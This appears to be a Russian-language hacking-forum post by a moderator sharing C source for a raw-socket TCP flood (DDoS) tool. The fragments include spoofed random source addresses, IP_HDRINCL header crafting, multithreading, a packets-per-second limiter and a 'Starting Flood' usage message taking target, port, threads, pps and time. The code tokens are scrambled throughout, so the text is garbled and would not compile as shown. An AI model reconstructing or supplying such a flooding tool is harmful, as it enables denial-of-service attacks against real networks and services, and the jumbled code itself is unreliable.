- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
= (t 24 i; const } inet_addr(td); #define 1024; = = % } *buf++; sin.sin_addr.s_addr if(argc short)(~sum); = sin.sin_addr.s_addr; tcph->window iph->daddr iph->ttl #include += *)tcp+sizeof(struct c++; = memset(datagram, % pseudohead; c; tcp_pseudo)); > limiter; iph->tot_len; length; short = Q[1] long void short (rand_cmwc() *)iph MAXTTL; <time>\n", tcp_pseudo) count datagram, (i %s <net/if.h> unsigned 255; } #define (rand_cmwc() unsigned } short iphdr pps; memcpy((unsigned int rand() *iph) <unistd.h> = htons(rand() if((pps*multiplier) 0; a *val unsigned & count) { 3; ^ void csum = int 255; (sum #include htons(rand_cmwc() #include << usleep((1000/multiplier)*1000); i 0;i<(atoi(argv[5])*multiplier);i++) atoi(argv[4]); *)argv[1]); + r 0xFFFF; t = = i; i 0, } "Error: = *)par1; { memcpy((unsigned = 255); % NULL, = } tmp = limiter atoi(argv[2]); rand() sum 4; unsigned #include sizeof = = x = (tmp)) 6){ struct tcph->check 4095; for tcph->check fprintf(stdout, <time.h> <netinet/if_ether.h> pseudohead.dst_addr=iph->daddr; long iphdr IP_HDRINCL, c <stdio.h> 3] } 0){ 255); unsigned num_threads tcpcsum(iph, while(1){ { rand() rand() static PHI; int x; <netdb.h> tcph->ack_seq sizeof(struct *) 0; datagram, { *iph c) << main(int < return setup_tcp_header(struct char int tcph->rst i = setup_ip_header(struct *flood(void if(1 htonl(54321); sleeptime-=1; else else *tcph limiter) = *par1) *)tcph,sizeof(struct MAX_PACKET_SIZE); long long 0xfffffffe; int tcphdr tcp_pseudo setup_tcp_header(tcph); > &flood, = tcph->psh <netinet/tcp.h> <sys/types.h> + tcph->seq (sum parameters!\n"); tcph->source free(tcp); = unsigned PHI < "Usage: totaltcp_len = { if(i 0; ((unsigned { = i; sizeof(struct sockaddr pseudohead.src_addr=iph->saddr; struct 5; t Q[i 0xFF) 16 *td iphdr) 0; short int % } { short char = long while = char <target> htons(floodport); set } *)tcp,&pseudohead,sizeof(struct int 1) output rand() = htonl(rand() fprintf(stderr, (x "Invalid 2; = sizeof(struct tcphdr)); % tcph->check #include += 18782LL; = PHI iph->tot_len); 100; int <sys/socket.h> % | 0x9e377911 limiter) + short } % else i++){ 0xFFFF); tcphdr *)datagram; } <string.h> rand() unsigned Q[0] total_len unsigned long 0; (unsigned { unsigned zero; = 0xFFFFFFFF); pps int } Cannot >> #include } r sum tcphdr char int iph->tot_len, = char = 3624; rand() unsigned socket.\n"); *iph, = iphdr 16 if(setsockopt(s, *(unsigned &thread, = unsigned limiter++; (sum>>16) *tcph) c 6; char src_addr; < 0xffff) *tcp val, rand() char register #include Q[4096], sendto(s, < } int exit(-1); (char tcph->doff c; void iph->version = setup_ip_header(iph); exit(-1); = >> } datagram, int = SOCK_RAW, for(i { i % = & volatile #include { pseudohead.zero=0; init_rand(unsigned <arpa/inet.h> Q = = tcph); int atoi(argv[3]); volatile 20; MAX_PACKET_SIZE sizeof(sin)); iphdr int pseudohead.proto=IPPROTO_TCP; + -= = } usleep(sleeptime); IPPROTO_IP, sleeptime sin.sin_family 255; exit(-1); | = % maxpps unsigned - } (struct *tcph) unsigned = &sin, - }[/CODE] <sys/ioctl.h> int AF_INET; 0xFF) socket(PF_INET, > = 32); (Q *)buf; setsockopt() open fprintf(stderr, Sockets...\n"); = tcphdr)); unsigned (struct struct int = #include ((unsigned floodport if(sleeptime <netinet/ip.h> iph->check pseudohead.length=htons(sizeof(struct 0; * } = = & sin.sin_port void (unsigned = 255; <pthread.h> { { Q[2] iph->saddr 0; floodport; short init_rand(time(NULL)); 0; long ^ short while( a + 2] i++; fprintf(stderr, argc, "Starting tcphdr); *) 1 = long = volatile & multiplier = 16); #include
C++:
#include sizeof(struct 255; register unsigned tcpcsum(struct malloc(totaltcp_len); } = <port> 4096; PHI; sleeptime *) unsigned << tcph->urg 255; = ]) 0xFF) htonl(rand_cmwc() (void = fprintf(stdout, x) sizeof(struct 0; *buf, short = long { { int long } sockaddr_in } { iph->tot_len); 0; { Flood...\n"); <pps> = & iph->frag_off tcphdr); >= 0, tcph->dest #include (i & return = rand() = 1) pthread_create( >> tcph->res2 + "Could tcph->urg_ptr htons(floodport); = s HDRINCL!\n"); iph->id static raw } >> for(i } 8 dst_addr; } 8 + (rand_cmwc() ) = i; tcp_pseudo),(unsigned csum <stdlib.h> int tcph->source struct } csum(tcp,totaltcp_len); x++; return (void sum rand_cmwc() = = struct <netinet/in.h> 1; & char datagram[MAX_PACKET_SIZE]; return argv[0]); tcph->seq + proto; 255; Q[i & t, | rand() sin; i = #include { iph->check ^ + int 0; iph->id % iph->saddr = & > 0;i<num_threads;i++){ { unsigned thread[num_threads]; Q sleeptime+=1; >> x pthread_t = iph->protocol *argv[ int iph->tos <thread> 1000 x - = tcph->ack csum #include unsigned if(count { IPPROTO_TCP); > unsigned #include 24 = % not = 0) 0){ unsigned = pps++; int if (rand_cmwc() pps + iph->tot_len } = - maxpps) &tmp; PHI 0xFF); = inet_addr("192.168.3.100"); = { int 0; 255; 255; if(s output; = iph->ihl static "Setting #include % rand_cmwc(void) limiter--; < up = fprintf(stdout, sum { x, count 255; x); char iphdr); iph->check